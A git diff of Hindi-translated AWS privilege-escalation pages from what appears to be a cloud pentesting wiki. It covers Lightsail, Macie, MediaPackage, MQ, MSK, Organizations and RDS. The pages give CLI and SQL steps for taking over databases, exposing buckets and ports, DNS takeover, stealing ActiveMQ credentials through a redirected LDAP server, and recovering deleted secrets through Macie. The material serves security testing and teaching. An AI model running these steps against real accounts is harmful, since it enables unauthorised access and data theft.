+```
+**संभावित प्रभाव:** database के अंदर संवेदनशील जानकारी मिल सकती है।
+
+### `lightsail:UpdateRelationalDatabase`
+
+यह अनुमति आपको database तक पहुँचने के लिए password बदलने की अनुमति देगी:
+```bash
+aws lightsail update-relational-database --relational-database-name  --master-user-password 
+```
+यदि डेटाबेस सार्वजनिक नहीं है, तो आप इसे इन अनुमतियों के साथ सार्वजनिक भी बना सकते हैं।
+```bash
+aws lightsail update-relational-database --relational-database-name  --publicly-accessible
+```
+**संभावित प्रभाव:** डेटाबेस के भीतर संवेदनशील जानकारी का पता लग सकता है।
+
+### `lightsail:OpenInstancePublicPorts`
+
+यह इंटरनेट पर पोर्ट खोलने की अनुमति देती है।
+```bash
+aws lightsail open-instance-public-ports \
+--instance-name MEAN-2 \
+--port-info fromPort=22,protocol=TCP,toPort=22
+```
+**Potential Impact:** संवेदनशील ports तक पहुंच।
+
+### `lightsail:PutInstancePublicPorts`
+
+यह permission इंटरनेट पर ports खोलने की अनुमति देता है। ध्यान दें कि यह कॉल उन किसी भी ports को बंद कर देगा जो इसमें निर्दिष्ट नहीं हैं।
+```bash
+aws lightsail put-instance-public-ports \
+--instance-name MEAN-2 \
+--port-infos fromPort=22,protocol=TCP,toPort=22
+```
+**Potential Impact:** संवेदनशील ports तक पहुंच।
+
+### `lightsail:SetResourceAccessForBucket`
+
+यह permissions किसी instance को बिना किसी अतिरिक्त credentials के किसी bucket तक access देने की अनुमति देता है।
+```bash
+aws set-resource-access-for-bucket \
+--resource-name  \
+--bucket-name  \
+--access allow
+```
+**Potential Impact:** संवेदनशील जानकारी वाले buckets तक संभावित नया एक्सेस।
+
+### `lightsail:UpdateBucket`
+
+इस अनुमति के साथ attacker अपने AWS account को buckets पर read access दे सकता है या buckets को सभी के लिए public बना सकता है:
+```bash
+# Grant read access to exterenal account
+aws update-bucket --bucket-name  --readonly-access-accounts 
+
+# Grant read to the public
+aws update-bucket --bucket-name  --access-rules getObject=public,allowPublicOverrides=true
+
+# Bucket private but single objects can be public
+aws update-bucket --bucket-name  --access-rules getObject=private,allowPublicOverrides=true
+```
+**Potential Impact:** संवेदनशील जानकारी वाले buckets तक संभावित नया एक्सेस।
+
+### `lightsail:UpdateContainerService`
+
+With this permissions, एक attacker containers service से private ECRs तक access दे सकता है।
+```bash
+aws update-container-service \
+--service-name  \
+--private-registry-access ecrImagePullerRole={isActive=boolean}
+```
+**Potential Impact:** निजी ECR से संवेदनशील जानकारी प्राप्त करना
+
+### `lightsail:CreateDomainEntry`
+
+एक हमलावर जिसके पास यह अनुमति हो, एक subdomain बना सकता है और उसे अपने IP पते की ओर इंगित कर सकता है (subdomain takeover), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे उस डोमेन से ईमेल spoof करने की अनुमति देता है, या यहाँ तक कि मुख्य डोमेन को उसके अपने IP पते पर सेट कर सकता है।
+```bash
+aws lightsail create-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**Potential Impact:** डोमेन का कब्ज़ा
+
+### `lightsail:UpdateDomainEntry`
+
+इस अनुमति के साथ एक attacker subdomain बना कर उसे अपने IP पते की ओर पॉइंट कर सकता है (subdomain takeover), या एक SPF record तैयार कर सकता है जो उसे domain से emails spoof करने की अनुमति देता है, या यहाँ तक कि मुख्य domain को भी अपने IP पते पर सेट कर सकता है।
+```bash
+aws lightsail update-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**संभावित प्रभाव:** डोमेन पर कब्ज़ा
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
deleted file mode 100644
index 66822f7ad..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - Macie Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Macie
-
-Macie के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-macie-enum.md
-{{#endref}}
-
-### Amazon Macie - `Reveal Sample` इंटीग्रिटी चेक को बायपास करें
-
-AWS Macie एक सुरक्षा सेवा है जो AWS वातावरण में संवेदनशील डेटा को स्वचालित रूप से पहचानती है, जैसे कि क्रेडेंशियल, व्यक्तिगत पहचान योग्य जानकारी (PII), और अन्य गोपनीय डेटा। जब Macie एक संवेदनशील क्रेडेंशियल की पहचान करता है, जैसे कि S3 बकेट में संग्रहीत AWS सीक्रेट की, तो यह एक खोज उत्पन्न करता है जो मालिक को पहचानित डेटा का "नमूना" देखने की अनुमति देता है। आमतौर पर, एक बार जब संवेदनशील फ़ाइल S3 बकेट से हटा दी जाती है, तो यह अपेक्षित होता है कि सीक्रेट को फिर से प्राप्त नहीं किया जा सकता।
-
-हालांकि, एक **बायपास** पहचाना गया है जहाँ एक हमलावर जिसके पास पर्याप्त अनुमतियाँ हैं, **एक ही नाम के साथ एक फ़ाइल को फिर से अपलोड कर सकता है** लेकिन जिसमें विभिन्न, गैर-संवेदनशील डमी डेटा होता है। इससे Macie को नई अपलोड की गई फ़ाइल को मूल खोज के साथ जोड़ने का कारण बनता है, जिससे हमलावर **"Reveal Sample" फीचर** का उपयोग करके पहले से पहचानित सीक्रेट को निकाल सकता है। यह समस्या एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि जो सीक्रेट हटाए गए थे वे इस विधि के माध्यम से पुनः प्राप्त किए जा सकते हैं।
-
-![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
-
-**पुन: उत्पन्न करने के चरण:**
-
-1. एक फ़ाइल (जैसे, `test-secret.txt`) को संवेदनशील डेटा के साथ S3 बकेट में अपलोड करें, जैसे कि AWS सीक्रेट की। AWS Macie के स्कैन और खोज उत्पन्न करने की प्रतीक्षा करें।
-
-2. AWS Macie खोजों पर जाएं, उत्पन्न खोज को खोजें, और पहचानित सीक्रेट देखने के लिए **Reveal Sample** फीचर का उपयोग करें।
-
-3. S3 बकेट से `test-secret.txt` को हटा दें और सत्यापित करें कि यह अब मौजूद नहीं है।
-
-4. डमी डेटा के साथ `test-secret.txt` नाम की एक नई फ़ाइल बनाएं और इसे **हमलावर के खाते** का उपयोग करके उसी S3 बकेट में फिर से अपलोड करें।
-
-5. AWS Macie खोजों पर वापस जाएं, मूल खोज तक पहुँचें, और फिर से **Reveal Sample** पर क्लिक करें।
-
-6. देखें कि Macie अभी भी मूल सीक्रेट को प्रकट करता है, भले ही फ़ाइल को हटा दिया गया हो और इसे **विभिन्न खातों से विभिन्न सामग्री के साथ प्रतिस्थापित किया गया हो, हमारे मामले में यह हमलावर का खाता होगा**।
-
-**सारांश:**
-
-यह भेद्यता एक हमलावर को पर्याप्त AWS IAM अनुमतियों के साथ पहले से पहचानित सीक्रेट को पुनः प्राप्त करने की अनुमति देती है, भले ही मूल फ़ाइल S3 से हटा दी गई हो। यदि एक AWS सीक्रेट की, एक्सेस टोकन, या अन्य संवेदनशील क्रेडेंशियल उजागर हो जाते हैं, तो एक हमलावर इस दोष का लाभ उठाकर इसे पुनः प्राप्त कर सकता है और AWS संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है। इससे विशेषाधिकार वृद्धि, अनधिकृत डेटा पहुँच, या क्लाउड संपत्तियों के आगे के समझौते का कारण बन सकता है, जिससे डेटा उल्लंघन और सेवा में व्यवधान हो सकता है।
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
new file mode 100644
index 000000000..811578a80
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
@@ -0,0 +1,38 @@
+# AWS - Macie Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Macie
+
+Macie के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-macie-enum.md
+{{#endref}}
+
+### Amazon Macie - Bypass `Reveal Sample` Integrity Check
+
+AWS Macie एक सुरक्षा सेवा है जो ऑटोमेटिकली AWS environments के भीतर sensitive data को पहचानती है, जैसे credentials, personally identifiable information (PII), और अन्य confidential data. जब Macie कोई sensitive credential पहचानता है — उदाहरण के लिए S3 bucket में stored AWS secret key — तो यह एक finding जनरेट करता है जो owner को detected data का "sample" देखने की अनुमति देता है। आमतौर पर, एक बार sensitive file S3 bucket से हटाने पर, उम्मीद रहती है कि secret अब पुनः प्राप्त नहीं किया जा सकेगा।
+
+हालाँकि, एक **bypass** पहचाना गया है जहाँ पर्याप्त permissions वाला attacker उसी नाम की फ़ाइल **फिर से अपलोड** कर सकता है, लेकिन उसमें अलग, non-sensitive dummy data होता है। इससे Macie नई अपलोड की गई फ़ाइल को मूल finding से associate कर देता है, और attacker पहले पहचाने गए secret को निकालने के लिए **"Reveal Sample" feature** का उपयोग कर सकता है। यह समस्या गंभीर सुरक्षा जोखिम पैदा करती है, क्योंकि वे secrets जिन्हें हटाया हुआ समझा गया था, इस तरीके से पुनः प्राप्त किए जा सकते हैं।
+
+![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
+
+**Steps To Reproduce:**
+
+1. S3 bucket में sensitive data जैसे AWS secret key वाली फ़ाइल (उदा., `test-secret.txt`) अपलोड करें। AWS Macie के scan करके finding जनरेट करने का इंतज़ार करें।
+
+2. AWS Macie Findings में जाएँ, जनरेट हुई finding locate करें, और detected secret देखने के लिए **Reveal Sample** feature का उपयोग करें।
+
+3. S3 bucket से `test-secret.txt` को delete करें और पुष्टि करें कि वह अब मौजूद नहीं है।
+
+4. Dummy data वाली नई फ़ाइल `test-secret.txt` बनाकर **attacker's account** से उसी S3 bucket में पुनः अपलोड करें।
+
+5. AWS Macie Findings पर वापस जाएँ, मूल finding खोलें, और फिर से **Reveal Sample** क्लिक करें।
+
+6. ध्यान दें कि Macie अभी भी मूल secret दिखाता है, भले ही फ़ाइल हटाकर अलग content से बदली गयी हो **और वह अलग accounts से आई हो — हमारे मामले में attacker's account**।
+
+**Summary:**
+
+यह vulnerability उन attackers को सक्षम बनाती है जिनके पास पर्याप्त AWS IAM permissions हैं कि वे मूल फ़ाइल S3 से delete होने के बाद भी पहले पहचाने गए secrets को recover कर सकें। यदि कोई AWS secret key, access token, या अन्य sensitive credential एक्सपोज़ हुआ है, तो attacker इस flaw का उपयोग करके उसे retrieve कर सकता है और unauthorized तरीके से AWS resources तक पहुंच हासिल कर सकता है। इससे privilege escalation, unauthorized data access, या cloud assets का और भी compromise हो सकता है, जिसके परिणामस्वरूप data breaches और service disruptions हो सकते हैं।
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
deleted file mode 100644
index 5bc00be61..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - Mediapackage Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### `mediapackage:RotateChannelCredentials`
-
-चैनल के पहले IngestEndpoint का उपयोगकर्ता नाम और पासवर्ड बदलता है। (यह API RotateIngestEndpointCredentials के लिए अप्रचलित है)
-```bash
-aws mediapackage rotate-channel-credentials --id 
-```
-### `mediapackage:RotateIngestEndpointCredentials`
-
-चैनल के पहले IngestEndpoint का उपयोगकर्ता नाम और पासवर्ड बदलता है। (यह API RotateIngestEndpointCredentials के लिए अप्रचलित है)
-```bash
-aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
-```
-## संदर्भ
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
new file mode 100644
index 000000000..7bb24a931
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
@@ -0,0 +1,21 @@
+# AWS - Mediapackage Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### `mediapackage:RotateChannelCredentials`
+
+Channel के पहले IngestEndpoint के username और password को बदलता है। (यह API RotateIngestEndpointCredentials के लिए अप्रचलित है)
+```bash
+aws mediapackage rotate-channel-credentials --id 
+```
+### `mediapackage:RotateIngestEndpointCredentials`
+
+Channel के पहले IngestEndpoint का username और password बदलता है। (यह API RotateIngestEndpointCredentials के लिए deprecated है)
+```bash
+aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
+```
+## संदर्भ
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
deleted file mode 100644
index 6981b5774..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - MQ Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MQ
-
-MQ के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-mq-enum.md
-{{#endref}}
-
-### `mq:ListBrokers`, `mq:CreateUser`
-
-इन अनुमतियों के साथ आप **एक ActimeMQ ब्रोकर में एक नया उपयोगकर्ता बना सकते हैं** (यह RabbitMQ में काम नहीं करता):
-```bash
-aws mq list-brokers
-aws mq create-user --broker-id  --console-access --password  --username 
-```
-**संभावित प्रभाव:** ActiveMQ के माध्यम से संवेदनशील जानकारी तक पहुँच
-
-### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-
-इन अनुमतियों के साथ आप **एक नए उपयोगकर्ता को ActimeMQ ब्रोकर में बना सकते हैं** (यह RabbitMQ में काम नहीं करता):
-```bash
-aws mq list-brokers
-aws mq list-users --broker-id 
-aws mq update-user --broker-id  --console-access --password  --username 
-```
-**संभावित प्रभाव:** ActiveMQ के माध्यम से संवेदनशील जानकारी तक पहुँच
-
-### `mq:ListBrokers`, `mq:UpdateBroker`
-
-यदि एक ब्रोकर **ActiveMQ** के साथ प्राधिकरण के लिए **LDAP** का उपयोग कर रहा है। तो यह संभव है कि **हमलावर द्वारा नियंत्रित** **LDAP सर्वर** की **कॉन्फ़िगरेशन** को **बदल** दिया जाए। इस तरह हमलावर **LDAP के माध्यम से भेजे जा रहे सभी क्रेडेंशियल्स को चुरा** सकेगा।
-```bash
-aws mq list-brokers
-aws mq update-broker --broker-id  --ldap-server-metadata=...
-```
-यदि आप किसी तरह ActiveMQ द्वारा उपयोग किए गए मूल क्रेडेंशियल्स को खोज सकते हैं, तो आप एक MitM कर सकते हैं, क्रेडेंशियल्स चुरा सकते हैं, उन्हें मूल सर्वर में उपयोग कर सकते हैं, और प्रतिक्रिया भेज सकते हैं (शायद केवल चुराए गए क्रेडेंशियल्स का पुन: उपयोग करके आप यह कर सकते हैं)।
-
-**संभावित प्रभाव:** ActiveMQ क्रेडेंशियल्स चुराना
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
new file mode 100644
index 000000000..44e924cd8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
@@ -0,0 +1,43 @@
+# AWS - MQ Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MQ
+
+MQ के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-mq-enum.md
+{{#endref}}
+
+### `mq:ListBrokers`, `mq:CreateUser`
+
+इन permissions के साथ आप **ActimeMQ broker में एक नया user बना सकते हैं** (यह RabbitMQ में काम नहीं करता):
+```bash
+aws mq list-brokers
+aws mq create-user --broker-id  --console-access --password  --username 
+```
+**Potential Impact:** ActiveMQ के माध्यम से नेविगेट करते हुए संवेदनशील जानकारी तक पहुंच
+
+### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
+
+इन अनुमतियों के साथ आप **ActimeMQ broker में नया उपयोगकर्ता बना सकते हैं** (यह RabbitMQ में काम नहीं करता):
+```bash
+aws mq list-brokers
+aws mq list-users --broker-id 
+aws mq update-user --broker-id  --console-access --password  --username 
+```
+**Potential Impact:** ActiveMQ के माध्यम से नेविगेट करते हुए संवेदनशील जानकारी तक पहुँच
+
+### `mq:ListBrokers`, `mq:UpdateBroker`
+
+यदि कोई broker ActiveMQ के साथ authorization के लिए **LDAP** का उपयोग कर रहा है, तो LDAP सर्वर की **configuration** को **change** करके उसे attacker द्वारा नियंत्रित किसी सर्वर की ओर निर्देशित किया जा सकता है। इस तरह attacker सभी उन **credentials** को **steal** कर सकेगा जो LDAP के माध्यम से भेजे जा रहे हैं।
+```bash
+aws mq list-brokers
+aws mq update-broker --broker-id  --ldap-server-metadata=...
+```
+यदि आप किसी तरह ActiveMQ द्वारा उपयोग किए गए मूल credentials पता कर लें, तो आप एक MitM कर सकते हैं, creds चुरा सकते हैं, उन्हें original server पर उपयोग कर सकते हैं, और response भेज सकते हैं (शायद बस चोरी किए गए credentials का पुन: उपयोग करके आप यह कर सकते हैं)।
+
+**संभावित प्रभाव:** Steal ActiveMQ credentials
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
deleted file mode 100644
index 47f04741e..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# AWS - MSK Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MSK
-
-MSK (Kafka) के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-msk-enum.md
-{{#endref}}
-
-### `msk:ListClusters`, `msk:UpdateSecurity`
-
-इन **privileges** और **kafka brokers के VPC तक पहुँच** के साथ, आप उनकी पहुँच के लिए **None authentication** जोड़ सकते हैं।
-```bash
-aws msk --client-authentication  --cluster-arn  --current-version 
-```
-आपको VPC तक पहुँच की आवश्यकता है क्योंकि **आप सार्वजनिक रूप से एक्सपोज़ किए गए Kafka के साथ None प्रमाणीकरण सक्षम नहीं कर सकते**। यदि यह सार्वजनिक रूप से एक्सपोज़ है, यदि **SASL/SCRAM** प्रमाणीकरण का उपयोग किया जाता है, तो आप **गुप्त पढ़ सकते हैं** (आपको गुप्त पढ़ने के लिए अतिरिक्त विशेषाधिकारों की आवश्यकता होगी)।\
-यदि **IAM भूमिका-आधारित प्रमाणीकरण** का उपयोग किया जाता है और **Kafka सार्वजनिक रूप से एक्सपोज़ है**, तो आप अभी भी इन विशेषाधिकारों का दुरुपयोग करके इसे एक्सेस करने के लिए आपको अनुमतियाँ दे सकते हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
new file mode 100644
index 000000000..de08f59f7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
@@ -0,0 +1,22 @@
+# AWS - MSK Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MSK
+
+MSK (Kafka) के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-msk-enum.md
+{{#endref}}
+
+### `msk:ListClusters`, `msk:UpdateSecurity`
+
+इन **विशेषाधिकारों** और **उस VPC तक पहुँच जहाँ kafka brokers मौजूद हैं** के साथ, आप उन्हें एक्सेस करने के लिए **None authentication** जोड़ सकते हैं।
+```bash
+aws msk --client-authentication  --cluster-arn  --current-version 
+```
+आपको VPC तक पहुँच की आवश्यकता है क्योंकि **आप Kafka को सार्वजनिक रूप से एक्सपोज़ किए जाने पर None authentication सक्षम नहीं कर सकते**. यदि यह सार्वजनिक रूप से एक्सपोज़्ड है, और **SASL/SCRAM** authentication उपयोग किया गया है, तो आप एक्सेस के लिए **read the secret** कर सकते हैं (secret पढ़ने के लिए आपको अतिरिक्त privileges की आवश्यकता होगी).\
+यदि **IAM role-based authentication** उपयोग किया गया है और **kafka is publicly exposed** तो आप फिर भी इन privileges का दुरुपयोग करके अपने लिए इसे एक्सेस करने के permissions दे सकते हैं।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
deleted file mode 100644
index 51aad67bf..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Organizations Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizations
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-## प्रबंधन खाते से बच्चों के खातों तक
-
-यदि आप रूट/प्रबंधन खाते से समझौता करते हैं, तो संभावना है कि आप सभी बच्चों के खातों से समझौता कर सकते हैं।\
-[**यह पृष्ठ देखने के लिए सीखें**](../#compromising-the-organization).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
new file mode 100644
index 000000000..20f34d20c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
@@ -0,0 +1,18 @@
+# AWS - Organizations Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+## प्रबंधन खाते से सदस्य खातों तक
+
+यदि आप root/management खाते को compromise कर लेते हैं, तो संभावना है कि आप सभी सदस्य खातों को compromise कर सकते हैं।\
+[**जानने के लिए इस पेज़ को देखें**](../../index.html#compromising-the-organization).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
deleted file mode 100644
index 957baece8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ /dev/null
@@ -1,151 +0,0 @@
-# AWS - RDS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS - रिलेशनल डेटाबेस सेवा
-
-RDS के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### `rds:ModifyDBInstance`
-
-इस अनुमति के साथ एक हमलावर **मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है**, और डेटाबेस के अंदर लॉगिन:
-```bash
-# Get the DB username, db name and address
-aws rds describe-db-instances
-
-# Modify the password and wait a couple of minutes
-aws rds modify-db-instance \
---db-instance-identifier  \
---master-user-password 'Llaody2f6.123' \
---apply-immediately
-
-# In case of postgres
-psql postgresql://:@:5432/
-```
-> [!WARNING]
-> आपको **डेटाबेस से संपर्क करने** में सक्षम होना चाहिए (वे आमतौर पर केवल अंदर के नेटवर्क से सुलभ होते हैं)।
-
-**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
-
-### rds-db:connect
-
-[**दस्तावेज़ों**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) के अनुसार, इस अनुमति के साथ एक उपयोगकर्ता DB इंस्टेंस से कनेक्ट कर सकता है।
-
-### RDS भूमिका IAM अनुमतियों का दुरुपयोग
-
-#### पोस्टग्रेसक्यूएल (ऑरोरा)
-
-> [!TIP]
-> यदि आप **`SELECT datname FROM pg_database;`** चलाते हैं और आपको **`rdsadmin`** नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS पोस्टग्रेसक्यूएल डेटाबेस** के अंदर हैं।
-
-पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुँचने के लिए किया गया है। आप स्थापित एक्सटेंशन को देखकर यह जांच सकते हैं:
-```sql
-SELECT * FROM pg_extension;
-```
-यदि आप कुछ ऐसा पाते हैं जैसे **`aws_s3`** तो आप मान सकते हैं कि इस डेटाबेस के पास **S3 पर कुछ प्रकार की पहुंच है** (अन्य एक्सटेंशन जैसे **`aws_ml`** और **`aws_lambda`** भी हैं)।
-
-इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप वहां देख सकते हैं कि **क्लस्टर में कोई IAM भूमिका संलग्न है** या नहीं, क्षेत्र **`AssociatedRoles`** में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस **अन्य AWS सेवाओं तक पहुंचने के लिए तैयार किया गया था**। **भूमिका के नाम** के आधार पर (या यदि आप भूमिका के **अनुमतियों** को प्राप्त कर सकते हैं) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है।
-
-अब, **एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:
-```sql
-// Create table
-CREATE TABLE ttemp (col TEXT);
-
-// Create s3 uri
-SELECT aws_commons.create_s3_uri(
-'test1234567890678', // Name of the bucket
-'data.csv',          // Name of the file
-'eu-west-1'          //region of the bucket
-) AS s3_uri \gset
-
-// Load file contents in table
-SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
-
-// Get info
-SELECT * from ttemp;
-
-// Delete table
-DROP TABLE ttemp;
-```
-यदि आपके पास **कच्चे AWS क्रेडेंशियल्स** हैं, तो आप उन्हें S3 डेटा तक पहुँचने के लिए भी उपयोग कर सकते हैं:
-```sql
-SELECT aws_s3.table_import_from_s3(
-'t', '', '(format csv)',
-:'s3_uri',
-aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
-);
-```
-> [!NOTE]
-> Postgresql **को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह चर को बदलने की आवश्यकता नहीं है**।
-
-#### Mysql (Aurora)
-
-> [!TIP]
-> एक mysql के अंदर, यदि आप क्वेरी **`SELECT User, Host FROM mysql.user;`** चलाते हैं और वहाँ एक उपयोगकर्ता है जिसका नाम **`rdsadmin`** है, तो आप मान सकते हैं कि आप एक **AWS RDS mysql db** के अंदर हैं।
-
-Mysql के अंदर **`show variables;`** चलाएँ और यदि चर जैसे **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।
-
-इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप जांच सकते हैं कि क्या क्लस्टर में कोई **संबंधित भूमिका** है, जिसका आमतौर पर मतलब AWS सेवाओं तक पहुँच है।
-
-अब, एक बकेट के अंदर **एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:
-```sql
-CREATE TABLE ttemp (col TEXT);
-LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
-SELECT * FROM ttemp;
-DROP TABLE ttemp;
-```
-### `rds:AddRoleToDBCluster`, `iam:PassRole`
-
-एक हमलावर जिसके पास `rds:AddRoleToDBCluster` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
-```bash
-aws add-role-to-db-cluster --db-cluster-identifier  --role-arn 
-```
-**संभावित प्रभाव**: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।\
-ध्यान दें कि कुछ DBs को अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है जैसे Mysql, जिसे पैरामीटर समूहों में भूमिका ARN निर्दिष्ट करने की आवश्यकता होती है।
-
-### `rds:CreateDBInstance`
-
